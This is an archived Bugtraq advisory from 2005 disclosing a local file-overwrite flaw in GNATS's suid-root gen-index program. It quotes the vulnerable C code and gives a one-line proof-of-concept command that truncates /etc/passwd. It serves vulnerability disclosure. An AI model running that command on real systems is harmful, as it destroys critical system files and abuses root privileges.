Home page logo

bugtraq logo Bugtraq mailing list archives

GNATS - gen-index
From: pi3ki31ny () wp pl
Date: 6 Jul 2005 15:03:23 -0000

Name:                       GNATS - gen-index
Vendor URL:                 http://www.gnu.org/software/gnats
Author:                     Adam Zabrocki <pi3ki31ny () wp pl>
Date:                       June 16, 2005


  GNATS - the GNU problem report management system allows attacker to overwrite
files with privileges suid root (when compiled from sources and there isn't in system
gnats user), where GNATS is installed.


  GNATS stores all information about the problem reports at a central site, and enables
users to access this site by various means, including e-mail, WWW, and a network daemon.
New problem reports can be created, and existing reports can be queried and updated, by
most of these means.


        Possible overwrite any files in system by gen-index program installed
        with GNATS.

  Local users, able to run gen-index (in some times when GNATS was compiled from sources
and in system don't exist gnats user and group) are able to overwrite any files in system.
  The problem lies in gen-index main() function, which don't check argument who was given
to program and in hard open and write there own data.

main (int argc, char **argv)

    while ((optc = getopt_long (argc, argv, "o:hd:nVie",
                              long_options, (int *) 0)) != EOF)
      switch (optc)
        case 'o':
          file_name = optarg;

        case 'n':
          numeric_sorting = TRUE;


  if (file_name)
    output = fopen (file_name, "w+");
  if (output == (FILE *) NULL)
      fprintf (stderr, "%s: can't write to %s: %s\n", program_name,
               optarg, strerror (errno));
      exit (3);


  if (indexIsBinary (database))
      char numFields = indexFieldCount (database);
      fwrite (&numFields, 1, 1, output);

  if (numeric_sorting && num_entries > 0)
      qsort (entries, num_entries, sizeof (Entry), entry_cmp);
      for (i = 0; i < num_entries; i++)
          fwrite (entries[i].string, 1, entries[i].length, output);

  fclose (output);
  exit (0);

Function fopen() with argument "w+" open file for reading and writing.
The file is created if it does not exist, otherwise it is truncated.
So when gen-index have suid root privilages we can overwrite any files
in system.


  We don't need to write any 31337 exploit. Simple PoC:

pi3 () darkstar:~$ pwd
pi3 () darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root          795 May 19 18:49 /etc/passwd
pi3 () darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x    1 root     root         465k Nov 21  2004 /usr/local/libexec/gnats/gen-index*
pi3 () darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3 () darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root            1 Jun 16 17:34 /etc/passwd
pi3 () darkstar:~$ cat /etc/passwd
pi3 () darkstar:~$

GNATS 4.1.0 and 4.0 are confirmed vulnerable. Probably all previous versions are also vulnerable.

I have informed GNATS team.

pi3 (pi3ki31ny) - pi3ki31ny () wp pl

  By Date           By Thread  

Current thread:
  • GNATS - gen-index pi3ki31ny (Jul 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]